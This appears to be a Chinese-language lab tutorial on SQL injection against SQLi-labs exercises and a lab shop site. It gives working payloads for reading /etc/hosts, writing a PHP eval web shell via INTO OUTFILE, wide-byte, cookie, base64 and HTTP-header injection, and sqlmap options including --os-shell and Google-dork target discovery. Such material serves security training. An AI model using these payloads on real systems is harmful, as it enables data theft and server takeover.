SQL注入攻击

读写文件

我们也可以利用SQL注入漏洞读写文件。但是读写文件需要一定的条件

  • secure_file_priv参数在高版本的mysql数据库中限制了文件的导入导出操作.改参数可以写在配置文件中[mysqld]下.若要配置此参数,需要修改配置文件,并重启mysql服务

关于该参数值的相关说明

参数配置 说明
secure-file-priv= 不限制导入导出操作
secure-file-priv='/tmp' 导入导出操作发生在/tmp下
secure-file-priv=null 不允许导入导出操作
#查询用户具有文件权限
select user,host,File_priv from mysql.user;

读取文件操作

http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=-62' union select 991,load_file('/etc/hosts'),89,version(),995,996,997,998,999;%23

QQ截图20201217093631.png

写入文件操作

http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=62' and 1=2 union select 991,'<?php @eval(\$_REQUEST[777]);?>',89,version(),995,996,997,998,999 into outfile '/tmp/1.php';%23

在linux系统中,文件写入和读取会受到系统的文件权限限制

QQ截图20201217095140.png

宽字节注入

宽字节注入准确来说不是注入手法,而是另外一种比较特殊的情况.为了说明宽字节注入问题,我们以SQLi-labs32关为例子.使用?id=1'进行测试的时候,发现提交的单引号会被转移[\'].此时,转义后的单引号不再是字符串的标识,会被作为普通字符带入数据库查询.也就是说,我们提交的单引号不会影响到原来SQL语句的结构.

  • 我们通过阅读32关的源码,发现几句非常意思的代码,如下.此网页在连接数据库时,会将字符编码设置为GBK编码集合,然后进行SQL语句拼接,最后进行数据库查询.GBK编码依然采用双字节编码方案,其编码范围:8140-FEFE,剔除xx7F码位,共23940个码位.共收录汉字和图形符号21886个,其中汉字(包括部首和构件)21003个,图形符号883个.GBK编码支持国际标准ISO/IEC10646-1和国家标准GB13000-1中的全部中日韩汉字,并包含了BIG5编码中的所有汉字.GBK编码方案于1995年12月15日正式发布,这一版的GBK规范为1.0版.转移字符\的编码是5c,正好在GBK编码范围之内,也就是说我们可以在单引号之前提交一个十六进制编码的字符,与5c组成一个GBK编码的汉字.这样SQL语句传入数据库的时候,转移字符5c,会被看作GBK汉字的低位字节编码,从而失去转义的作用.如果我们提交这样的参数?id=1%df' union select 1,2,3 --+,就可以使用联合查询进行注入了.
  • 0xdf5c就是一个汉字"運"
http://10.0.0.254:82/Less-32/?id=1000%df\' union select 1,2,3 %23
http://10.0.0.254:82/Less-32/?id=1000%df\' union select 1,2,3 --+

QQ截图20201217105953.png

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-32 **Bypass addslashes()**</title>
</head>

<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome   <font color="#FF0000"> Dhakkan </font><br>
<font size="5" color="#00FF00">


<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");

function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash


    return $string;
}

// take the variables 
if(isset($_GET['id']))
{
$id=check_addslashes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";

//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 

mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

    if($row)
    {
    echo '<font color= "#00FF00">'; 
    echo 'Your Login name:'. $row['username'];
    echo "<br>";
    echo 'Your Password:' .$row['password'];
    echo "</font>";
    }
    else 
    {
    echo '<font color= "#FFFF00">';
    print_r(mysql_error());
    echo "</font>";  
    }
}
    else { echo "Please input the ID as parameter with numeric value";}



?>
</font> </div></br></br></br><center>
<img src="../images/Less-32.jpg" />
</br>
</br>
</br>
</br>
</br>
<font size='4' color= "#33FFFF">
<?php

function strToHex($string)
{
    $hex='';
    for ($i=0; $i < strlen($string); $i++)
    {
        $hex .= dechex(ord($string[$i]));
    }
    return $hex;
}
echo "Hint: The Query String you input is escaped as : ".$id ."<br>";
echo "The Query String you input in Hex becomes : ".strToHex($id). "<br>";

?>
</center>
</font> 
</body>
</html>

Cookie注入

我们使用SQLi-labs第20关来说明Cookie注入问题

  • Cookie注入的注入参数需要通过Cookie提交,可以通过document.cookie在控制台完成对浏览器Cookie的读写
#添加到控制台后刷新页面
document.cookie="uname=Dumb' and updatexml(1,concat(0x5e,database(),0x5e))#"

QQ截图20201217112815.png

base64注入

我们使用SQLi-labs第22关来说明base64注入问题

  • base64注入也是比较简单的,只不过将注入字段经过base64编码.经过测试,发现22关属于Cookie型的base64注入.我们可以使用报错注入手法,payload
#编码前原文
document.cookie="uname=Dumb" and extractvalue(1,concat(0x7e,database(),0x7e))#"
#经过base64编码以后添加到控制台后刷新页面
document.cookie="uname=RHVtYiIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSkpIw=="

QQ截图20201217112850.png

HTTP头部注入

http头部注入就是指注入字段在HTTP头部的字段中,这些字段通常有User-Agent,Referer等.

User-Agent注入

SQLi-labs第18关

#User-Agent
User-Agent:hacker' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1

QQ截图20201217130906.png

QQ截图20201217130922.png

Referer注入

SQLi-labs第19关

#Referer
hacker' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
  • telnet请求
POST /Less-19/index.php HTTP/1.1
Host: 127.0.0.1
efox/83.0t: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:83.0) Gecko/20100101 Fir
.8cept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
Origin: http://127.0.0.1
Connection: keep-alive
Referer: hacker' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache

uname=Dumb&passwd=Dumb&submit=SubmitHTTP/1.1 200 OK
Server: nginx/1.15.11
Date: Thu, 17 Dec 2020 05:24:52 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.45

648
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.or
g/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-19 Header Injection- Referer- Error Based- string</title>
</head>

<body bgcolor="#000000">

<div style=" margin-top:20px;color:#FFF; font-size:24px; text-align:center"> Wel
come   <font color="#FF0000"> Dhakkan </font><br></div>
<div  align="center" style="margin:20px 0px 0px 510px;border:20px; background-co
lor:#0CF; text-align:center;width:400px; height:150px;">
<div style="padding-top:10px; font-size:15px;">


<!--Form to post the contents -->
<form action="" name="form1" method="post">

  <div style="margin-top:15px; height:30px;">Username :    
    <input type="text"  name="uname" value=""/>  </div>

  <div> Password :    
    <input type="text" name="passwd" value=""/></div></br>
    <div style=" margin-top:9px;margin-left:90px;"><input type="submit" name="su
bmit" value="Submit" /></div>
</form>
</div>
</div>
<div style=" margin-top:10px;color:#FFF; font-size:23px; text-align:center">
<font size="3" color="#FFFF00">


<br>Your IP ADDRESS is: 127.0.0.1<br><font color= "#FFFF00" font size = 3 ></fon
t><font color= "#0000ff" font size = 3 >Your Referer is: hacker' and updatexml(1
,concat(0x7e,database(),0x7e),1) and '1'='1</font><br>XPATH syntax error: '~secu
rity~'<br><br><img src="../images/flag.jpg" /><br>

</font>
</div>
</body>
</html>

QQ截图20201217132601.png

自动化注入

burpsuite_pro

Burp Suite,简称bp工具,需要java9以上环境,下载分卷改名后解压

激活流程

QQ截图20201217153004.png

QQ截图20201217153033.png

QQ截图20201217153042.png

QQ截图20201217153128.png

sqlmap

sqlmap是一个开源的渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限.它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令.

部分常用参数

  • -u "url" : 攻击目标url
  • --dbs : 列出所有库名
  • --current-db : 列出当前数据库的名字
  • -D "database" : 指定一个数据库
  • --tables : 列出所有的表名
  • -T : 指定一个表
  • --columns : 列出所有的字段名
  • -C : 指定一个字段
  • --dump : 列出字段内容
  • -r : 从文件加载HTTP请求
  • --os-shell : 获取shell
  • --forms : 检测表单
  • -g "inurl:php?id=" : 利用google自动搜索注入点

QQ截图20201217141613.png

QQ截图20201217141744.png

QQ截图20201217141807.png